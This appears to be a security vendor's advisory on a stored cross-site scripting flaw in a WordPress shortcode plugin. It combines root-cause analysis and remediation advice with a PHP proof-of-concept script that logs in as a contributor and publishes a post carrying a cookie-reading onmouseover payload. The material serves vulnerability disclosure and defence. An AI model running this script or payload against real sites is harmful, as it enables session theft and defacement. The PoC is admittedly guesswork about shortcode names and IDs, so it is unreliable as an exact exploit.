Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1809: HTML Shortcodes <= 1.1 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (html-shortcodes)

CVE ID CVE-2026-1809
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.1
Patched Version
Disclosed February 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1809 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the HTML Tag Shortcodes WordPress plugin. The vulnerability exists in all plugin versions up to and including 1.1. Attackers with contributor-level or higher permissions can inject malicious scripts via shortcode attributes. These scripts execute in the browser of any user viewing a compromised page or post.

Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping on user-supplied shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. The plugin likely registers one or more shortcodes using the `add_shortcode()` function. The shortcode handler function probably directly echoes or returns user-controlled attribute values without applying proper escaping functions like `esc_attr()` or `esc_html()`. This analysis is inferred from the CWE and vulnerability description, as the source code is unavailable for confirmation.

Exploitation requires an authenticated user with at least contributor-level access. The attacker creates or edits a post, inserting a vulnerable shortcode with a malicious payload in one of its attributes. For example, an attacker might embed `[html_tag attribute=” onmouseover=’alert(1)'”]` within post content. When the post is saved and published, the malicious attribute persists in the database. The payload executes in the browser of any visitor or administrator viewing that post. The attack vector is the WordPress post editor, targeting the shortcode parsing mechanism.

Effective remediation requires implementing proper output escaping. The plugin developer must modify the shortcode callback function to escape all user-controlled attribute values before output. WordPress provides functions like `esc_attr()` for HTML attributes and `esc_html()` for HTML body content. Input validation should also be added, but output escaping is the primary defense for XSS. The patched version should apply these functions to every instance where shortcode attributes are printed.

Successful exploitation leads to arbitrary JavaScript execution in the context of the victim’s session. Attackers can steal session cookies, perform actions on behalf of the user, deface the site, or redirect users to malicious domains. The stored nature of the vulnerability increases its impact, as the payload executes for every page view. The CVSS score of 6.4 (Medium) reflects the need for contributor-level access and the scope change to the user’s browser, but not direct compromise of the server.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1809 - HTML Shortcodes <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php

$target_url = 'http://vulnerable-wordpress-site.local';
$username = 'contributor_user';
$password = 'contributor_password';

// Payload: XSS via a shortcode attribute. The exact shortcode name is unknown but inferred from plugin name.
// Common shortcodes for an 'HTML Tag Shortcodes' plugin could include [html], [div], [span], etc.
// We target an 'onmouseover' event handler for demonstration.
$malicious_content = "Check out this element: [span class='normal' onmouseover='alert(document.cookie)']Malicious Span[/span].";

// Step 1: Authenticate to WordPress and obtain a valid session cookie and nonce.
$login_url = $target_url . '/wp-login.php';
$admin_url = $target_url . '/wp-admin/';

$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $admin_url,
        'testcookie' => '1'
    ]),
    CURLOPT_HEADER => true,
]);
$login_response = curl_exec($ch);

// Step 2: Navigate to the post creation page to obtain a nonce for the 'post' action.
// The exact nonce parameter may vary; we use a common pattern.
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post-new.php',
    CURLOPT_POST => false,
    CURLOPT_HEADER => false,
]);
$post_page = curl_exec($ch);

// Extract a nonce for creating/updating a post. Look for '_wpnonce' or 'meta-box-loader-nonce'.
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';
if (empty($nonce)) {
    die('Failed to obtain nonce. Authentication may have failed.');
}

// Step 3: Create a new post with the malicious shortcode payload.
$post_data = [
    'post_title' => 'Test Post with XSS',
    'content' => $malicious_content,
    'post_status' => 'publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'action' => 'editpost',
    'post_type' => 'post',
    'user_ID' => 2, // Assumed user ID; may need adjustment.
    'publish' => 'Publish'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-admin/post.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_HEADER => true,
]);
$post_response = curl_exec($ch);

// Check for a successful redirect (HTTP 302) or a success message.
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 302 || strpos($post_response, 'Post published.') !== false) {
    echo "[+] Exploit likely succeeded. Post containing XSS payload created.n";
    echo "[+] Visit the newly created post to trigger the onmouseover event.n";
} else {
    echo "[-] Post creation may have failed. Check credentials and nonce.n";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School